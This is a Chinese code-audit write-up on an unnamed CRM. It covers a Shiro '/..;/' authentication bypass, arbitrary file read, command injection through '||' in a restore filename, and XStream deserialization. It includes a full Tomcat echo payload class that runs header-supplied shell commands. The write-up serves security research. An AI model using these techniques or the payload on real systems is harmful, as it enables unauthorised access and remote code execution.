某CRM代码审计之旅-多漏洞绕过与发现

admin 2025年3月10日13:32:28评论22 views字数 10806阅读36分1秒阅读模式

某CRM代码审计之旅-多漏洞绕过与发现

文章作者:奇安信攻防社区( 中铁13层打工人)

文章来源:https://forum.butian.net/share/4131

1

权限绕过

该项目使用了shiro进行权限验证

某CRM代码审计之旅-多漏洞绕过与发现

查看依赖版本,发现该版本配合spring存在认证绕过漏洞

shiro通过org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain来匹配路由和过滤器

public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) {        FilterChainManager filterChainManager = this.getFilterChainManager();        if (!filterChainManager.hasChains()) {            return null;        } else {            String requestURI = this.getPathWithinApplication(request);            if (requestURI != null && !"/".equals(requestURI) && requestURI.endsWith("/")) {                requestURI = requestURI.substring(0, requestURI.length() - 1);            }            Iterator var6 = filterChainManager.getChainNames().iterator();            String pathPattern;            do {                if (!var6.hasNext()) {                    return null;                }                pathPattern = (String)var6.next();                if (pathPattern != null && !"/".equals(pathPattern) && pathPattern.endsWith("/")) {                    pathPattern = pathPattern.substring(0, pathPattern.length() - 1);                }            } while(!this.pathMatches(pathPattern, requestURI));            return filterChainManager.proxy(originalChain, pathPattern);        }    }

http请求的路由通过getPathWithinApplication方法获取,最终调用org.apache.shiro.web.util.WebUtils#getRequestUri方法

public static String getRequestUri(HttpServletRequest request) {        String uri = (String)request.getAttribute("javax.servlet.include.request_uri");        if (uri == null) {            uri = request.getRequestURI();        }        return normalize(decodeAndCleanUriString(request, uri));    }

该方法核心是decodeAndCleanUriStringnormalize两个方法来处理请求url

  • decodeAndCleanUriString: 主要是讲;之前的路径保留而舍弃之后的部分,即/aa/..;/bbb被处理为/aa/..

  • normalize

    • 替换反斜线

    • 替换 // 为 /

    • 替换 /./ 为 /

    • 替换 /../ 为 /

单看好像都没问题但是组合起来就丸辣。比如我们配置shiro的拦截配置

map.put("/home/**","anon"); //anon 表示未授权访问map.put("/admin/*","authc"); //authc 表示需要权限认证shiroFilterFactoryBean.setFilterChainDefinitionMap(map);

要是我们构造/home/..;/admin/xxx ,shiro通过上述操作获取到的URI为/home/..,会命中"/home/**","anon"从而不进行认证。

当shiro放行请求后会交给spring处理,而在spring中对于请求路径又有自己的处理逻辑

其在org.springframework.web.util.UrlPathHelper中存在spring实现的getRequestUri方法

public String getRequestUri(HttpServletRequest request) {    String uri = (String)request.getAttribute("javax.servlet.include.request_uri");    if (uri == null) {        uri = request.getRequestURI();    }    return this.decodeAndCleanUriString(request, uri);}

然后通过decodeAndCleanUriString来处理请求url

private String decodeAndCleanUriString(HttpServletRequest request, String uri) {    uri = this.removeSemicolonContent(uri);    uri = this.decodeRequestString(request, uri);    uri = this.getSanitizedPath(uri);    return uri;}

其中的三个方法主要是过滤;、urldecode和过滤//,最终的/home/..;/admin变成/home/../admin定位到admin的路由。

整体的流程就是

  1. 客户端请求URL: /home/..;/admin/index

  2. shrio 内部处理得到校验URL为 /home/..,校验通过

  3. spring 处理 /home/..;/admin/index , 请求 /admin/index, 成功访问鉴权接口

2

任意文件读取

我们找一个漏洞来测试一下鉴权绕过,有关文件加载操作的类和方法主要有

FileFileInputStreamBufferedInputStreamInputStreamgetNamereadwritegetFilegetWriterdownload (危险的路由名)...

根据上述思路,我们找的在xxxLogController,找的了download方法

public void download(String path, HttpServletRequest request, HttpServletResponse response) {    try {        File file = new File(path);        String filename = file.getName();        InputStream fis = new BufferedInputStream(new FileInputStream(path));        byte[] buffer = new byte[fis.available()];        fis.read(buffer);        fis.close();        response.reset();        response.addHeader("Content-Disposition", "attachment;filename=" + new String(filename.replaceAll(" ", "").getBytes("utf-8"), "iso8859-1"));        response.addHeader("Content-Length", "" + file.length());        OutputStream os = new BufferedOutputStream(response.getOutputStream());        response.setContentType("application/octet-stream");        os.write(buffer);        os.flush();        os.close();    } catch (Exception var9) {        this.logger.error("下载文件失败", var9);    }}

其根据传入fileName直接获取文件内容返回给response。

复现

直接访问会跳转登录页

某CRM代码审计之旅-多漏洞绕过与发现

利用/..;/进行绕过

某CRM代码审计之旅-多漏洞绕过与发现

成功读取到目标文件,证明鉴权绕过可行。

3

命令执行

然看到读取如此简单,那我们再扩大危害看看有没有可以RCE点。

查找Runtime.getRuntime方法的调用,找的了exeCommand方法实现

private void exeCommand(String command) throws IOException {    logger.info("MySQL数据库正执行命令:" + command);    Runtime runtime = Runtime.getRuntime();    Process exec = runtime.exec(command);    try {        exec.waitFor();    } catch (InterruptedException var5) {        logger.error("MySQL数据库执行命令出错:" + var5.getMessage(), var5);    }}

因为是私有方法,直接同类中向上找的了调用方法

public void doRestore(String fileName) {    String sqlFile = fileName;    ...    if (osName.toLowerCase().startsWith("windows")) {        mysqldump = "cmd /c "" + this.mysqlPath + "mysql"";    } else {        mysqldump = this.mysqlPath + "mysql";    }    StringBuffer sbCommand = new StringBuffer();    sbCommand.append(mysqldump).append(" -u").append(this.username).append(" -p").append(this.password).append(" -h").append(this.host).append(" -P").append(this.port).append(" -B ").append(this.database).append(" < ").append(this.exportPath + sqlFile);    try {    this.exeCommand(sbCommand.toString());    } catch (IOException var6) {    }   }

构造的执行语句为:

cmd /c mysqlPath/mysql -u UserName -p Password -h host -P xx -B xx < sqlFile

而其中sqlFile是通过参数传入fileName的,这里可以用||来绕过执行任意命令

某CRM代码审计之旅-多漏洞绕过与发现

该类属于Service层,我们要找到Controller层对其的调用,利用jar-analyzer工具的表达式搜索

#method        .isStatic(false)        .hasClassAnno("Controller")        .hasAnno("RequestMapping")        .hasField("backupService")

该表达式是寻找一个方法,其不是静态方法,类注释为Controller,方法注释为RequestMapping(表示是一个http接口),并且存在变量名为backupService(遵循该系统service层定义命名规律)。

最终找到如下方法

@RequestMapping({"/restore"})@ResponseBodypublic String doRestore(@RequestParam String fileName) {    try {        this.backupService.doRestore(fileName);    } catch (Exception var3) {        var3.printStackTrace();        throw new CommonException(var3.getMessage());    }    return I18n.i18nMessage("adp_db.success ");}

复现

构造poc测试,成功访问

某CRM代码审计之旅-多漏洞绕过与发现

4

技术细节

查看shiro过程中看到了几个低版本组件,比如xstream,我们用jar-analyzer查找例如fromXML等触发反序列化的方法

在WechatxxxService类中找的一处调用

某CRM代码审计之旅-多漏洞绕过与发现

可以看到对整个request body进行了fromXML转换,因为时Service层我们还是可以通过之前方法快速找的controller层的调用

某CRM代码审计之旅-多漏洞绕过与发现

复现

利用woodpecker生成poc

某CRM代码审计之旅-多漏洞绕过与发现

访问接口构造请求,成功接受到请求

某CRM代码审计之旅-多漏洞绕过与发现

这样似乎不太完美,我们尝试构造回显

回显

对于tomcat下构造回显链主要是找到全局存储了request和response的类,通过tomcat启动时线程中的变量一步步反射获得request和response变量

基于全局存储思路出现了两种获取request和response的方法:

  • 方法一:通过 WebappClassLoaderBase来获取 Tomcat 上下文的联系,进而获取AbstractProtocol$ConnectoinHandler(不适用Tomcat7)

    WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response

  • 方法二:通过遍历线程获取 NioEndpoint,进而获取AbstractProtocol$ConnectoinHandler(适用于Tomcat7/8/9)

    Thread.currentThread().getThreadGroup() —> NioEndpoint$Poller —> NioEndpoint—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response

两种方法的区别在于用了不同的方法获取AbstractProtocol$ConnectoinHandler

通过Thread.currentThread().getThreadGroup() 获取到全部线程中有关线程有:

  • http-nio-8080-Acceptor 在学习tomcat整体架构的时候,稍微了解过Acceptor这个组件,他是用来处理用户发过来的请求的,然后不涉及具体的处理,直接转发给worker线程去处理

  • http-nio-8080-exec* 这里有10个类似的线程,和上面的Acceptor,其实就是worker线程,用来处理具体的逻辑

  • http-nio-8080-Poller 该线程用于处理网络i/o,有请求时,发送到对应的Processor进行处理

其中Acceptor和Poller线程用于协议解析处理

所以除了网上常见的通过http-nio-port-Poller获取成员变量NioEndpoint$Poller,然后通过$this0获取到父类对象NioEndpoint外,还可以通过http-nio-8080-Acceptor来获取

org.apache.tomcat.util.net.Acceptor存在构造方法

public Acceptor(AbstractEndpoint<?, U> endpoint) {    this.state = Acceptor.AcceptorState.NEW;    this.endpoint = endpoint;}

传入AbstractEndpoint类型的对象赋值给endpoint成员变量,而我们所要找的NioEndpoint继承自该类,且通过调试

某CRM代码审计之旅-多漏洞绕过与发现

创建Acceptor线程时初始化传入变量确实NioEndpoint类型

详细链路如下:

Thread.getThreads ---> http-nio-8080-Acceptor --->  endpoint(NioEndpoint) ---> handler(AbstractProtocol$ConnectoinHandler) ---> global(RequestGroupInfo) ---> RequestInfo--->Request --->Response

代码实现如下:

package org.apache.ha;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import java.io.InputStream;import java.io.Writer;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.Scanner;public class HttpUtil extends AbstractTranslet {    private String getReqHeaderName() {        return "Accept-Hkdxgumzuw";    }    public HttpUtil() {        run();    }    private void run() {        Field var3;        Field var32;        Field var33;        String var7;        try {            Method var0 = Thread.class.getDeclaredMethod("getThreads", new Class[0]);            var0.setAccessible(true);            Thread[] var1 = (Thread[]) var0.invoke(null, new Object[0]);            for (int var2 = 0; var2 < var1.length; var2++) {                // 遍历线程池,找的http-nio-8080-Acceptor线程                if (var1[var2].getName().contains("http") && var1[var2].getName().contains("Acceptor")) {                    Field var34 = var1[var2].getClass().getDeclaredField("target");                    var34.setAccessible(true);                    Object var4 = var34.get(var1[var2]);                    //获取NioEndpoint对象                    try {                        var3 = var4.getClass().getDeclaredField("endpoint");                    } catch (NoSuchFieldException e) {                        var3 = var4.getClass().getDeclaredField("this$0");                    }                    var3.setAccessible(true);                    Object var42 = var3.get(var4);                    //获取AbstractProtocol$ConnectoinHandler对象                    try {                        var32 = var42.getClass().getDeclaredField("handler");                    } catch (NoSuchFieldException e2) {                        try {                            var32 = var42.getClass().getSuperclass().getDeclaredField("handler");                        } catch (NoSuchFieldException e3) {                            var32 = var42.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");                        }                    }                    var32.setAccessible(true);                    Object var43 = var32.get(var42);                    try {                        var33 = var43.getClass().getDeclaredField("global");                    } catch (NoSuchFieldException e4) {                        var33 = var43.getClass().getSuperclass().getDeclaredField("global");                    }                    var33.setAccessible(true);                    Object var44 = var33.get(var43);                    var44.getClass().getClassLoader().loadClass("org.apache.coyote.RequestGroupInfo");                    if (var44.getClass().getName().contains("org.apache.coyote.RequestGroupInfo")) {                        Field var35 = var44.getClass().getDeclaredField("processors");                        var35.setAccessible(true);                        ArrayList var5 = (ArrayList) var35.get(var44);                        int var6 = 0;                        while (true) {                            if (var6 < var5.size()) {                                Field var36 = var5.get(var6).getClass().getDeclaredField("req");                                var36.setAccessible(true);                                Object var45 = var36.get(var5.get(var6)).getClass().getDeclaredMethod("getNote", Integer.TYPE).invoke(var36.get(var5.get(var6)), 1);                                try {                                    var7 = (String) var36.get(var5.get(var6)).getClass().getMethod("getHeader", String.class).invoke(var36.get(var5.get(var6)), getReqHeaderName());                                } catch (Exception e5) {                                }                                if (var7 == null) {                                    var6++;                                } else {                                    Object response = var45.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(var45, new Object[0]);                                    Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]);                                    writer.write(exec(var7));                                    writer.flush();                                    writer.close();                                    break;                                }                            }                        }                    }                }            }        } catch (Throwable th) {        }    }    private String exec(String cmd) {        try {            boolean isLinux = true;            String osType = System.getProperty("os.name");            if (osType != null && osType.toLowerCase().contains("win")) {                isLinux = false;            }            String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();            Scanner s = new Scanner(in).useDelimiter("\a");            String execRes = "";            while (s.hasNext()) {                execRes = execRes + s.next();            }            return execRes;        } catch (Exception e) {            return e.getMessage();        }    }}

而在AbstractProcessor中的request和response其实是org.apache.coyote下的,但是回显的话需要org.apache.catalina.connector.Request这个类。

这两个Request有啥区别:

  • org.apache.catalina.connector.Request主要用于表示已解析的HTTP请求,并提供方法供上层模块访问请求信息

  • org.apache.coyote.Request主要用于底层网络请求的处理和解析。

org.apache.coyote.Request 类中有一个方法返回org.apache.catalina.connector.Request 类

某CRM代码审计之旅-多漏洞绕过与发现

但是存储org.apache.catalina.connector.Request 类对象的notes数组第一个元素为null,第二个才是我们要找的Request对象

某CRM代码审计之旅-多漏洞绕过与发现

故反射调用getNote时传参为1:

Object var45 = var36.get(var5.get(var6)).getClass().getDeclaredMethod("getNote", Integer.TYPE).invoke(var36.get(var5.get(var6)), 1);

因为我们本次xstream反序列化所用到的poc是利用TemplatesImpl类,

某CRM代码审计之旅-多漏洞绕过与发现

其在加载class后检测这个类是不是继承自AbstractTranslet,所以我们需要添加继承关系。

我们将其class数据转为base64,然后替换之前生成的poc中byte-array的内容

某CRM代码审计之旅-多漏洞绕过与发现

成功回显出执行的命令

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

原文始发于微信公众号(黑白之道):某CRM代码审计之旅-多漏洞绕过与发现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月10日13:32:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某CRM代码审计之旅-多漏洞绕过与发现https://cn-sec.com/archives/3821869.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息